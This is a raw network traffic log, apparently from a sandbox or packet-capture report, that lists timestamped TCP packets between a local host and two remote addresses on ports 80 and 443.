Oct 28, 2024 19:46:17.710020065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.710041046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710073948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710104942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.710107088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710141897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710165024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.710916996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710951090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710961103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.710984945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.711038113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.742559910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.877283096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.882855892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.899132013 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:17.899159908 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:18.039475918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.039623976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.039720058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.039752960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.039788008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.039823055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.039841890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.040219069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040250063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040283918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040296078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.040317059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040335894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.040652990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040685892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040710926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.040720940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.040776014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.041218996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.041253090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.041286945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.041304111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.041321039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.041354895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.041377068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.041974068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042007923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042033911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.042042017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042093039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042108059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.042774916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042812109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042829037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.042846918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042880058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042897940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.042918921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.042968035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.043564081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.043600082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.043649912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.043669939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.043687105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.043720007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.043737888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.044387102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.044423103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.044456005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.044457912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.044490099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.044521093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.044523954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.044573069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.045195103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.045232058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.045267105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.045300961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.045331001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.045362949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.045965910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046004057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046053886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046061039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.046088934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046122074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046143055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.046643972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046703100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046708107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.046740055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046773911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046804905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.046823978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046859026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046880007 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.046892881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.046947956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.047522068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.047558069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.047616005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.090073109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090147972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090183020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090217113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.090409040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090465069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.090640068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090673923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090728998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090732098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.090764046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.090820074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.091239929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.091274977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.091308117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.091355085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.091356993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.091388941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.091412067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.092052937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092087030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092107058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.092120886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092154980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092174053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.092189074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092223883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092243910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.092890024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092924118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.092942953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.092958927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.093014002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.093368053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.093420029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.093452930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.093472004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.093487024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.093521118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.093553066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.094187021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.094219923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.094242096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.094254971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.094289064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.094304085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.094322920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.094357967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.094376087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.095042944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095076084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095108986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.095109940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095144987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095166922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.095177889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095227957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.095884085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095918894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095952988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.095976114 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.095987082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096019030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096034050 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.096055031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096107006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.096580982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096632004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096664906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096695900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.096698999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096731901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.096755028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.097409010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.097464085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.097464085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.097500086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.097533941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.097548962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.097564936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.097599983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.097624063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.098069906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.098105907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.098121881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.098140001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.098207951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.100267887 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.158366919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158473969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158509970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158545017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.158649921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158705950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.158791065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158824921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158874035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.158946037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.158981085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159015894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159039974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.159265041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159300089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159356117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.159357071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159410954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.159673929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159708977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159769058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159769058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.159806013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.159859896 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.160254955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.160306931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.160341024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.160362959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.160376072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.160412073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.160427094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.160446882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.160495996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.161240101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161278009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161310911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161334038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.161346912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161381960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161406040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.161415100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161448956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161464930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.161950111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.161983967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.162005901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.162035942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.162071943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.162096977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.162123919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.162157059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.162174940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.163678885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.163743019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.163841963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.163981915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.164017916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.164037943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.164123058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.164175034 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.164271116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.164308071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.164361954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166256905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166294098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166327000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166348934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166362047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166413069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166426897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166461945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166496038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166516066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166528940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166562080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166601896 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166630030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166663885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166687965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166697025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166731119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166749001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166765928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166800022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166815042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166836023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166866064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166883945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166899920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166933060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.166951895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.166966915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167001009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167013884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.167406082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167439938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167468071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.167593956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167629004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167646885 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.167664051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167697906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167711020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.167731047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.167788982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.168251991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168299913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168332100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168349981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.168365955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168401003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168420076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.168435097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168468952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168492079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.168503046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168536901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.168570042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.169236898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169272900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169282913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.169307947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169342041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169357061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.169409990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169444084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169461012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.169478893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.169532061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.170036077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170070887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170104980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170120001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.170140028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170180082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170192003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.170214891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170248032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170269966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.170285940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170336008 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.170902967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170939922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170974970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.170994043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.171009064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.171042919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.171065092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.171077967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.171133995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.171303988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.191751957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.192020893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.192105055 CET	49726	80	192.168.2.16	166.1.160.211
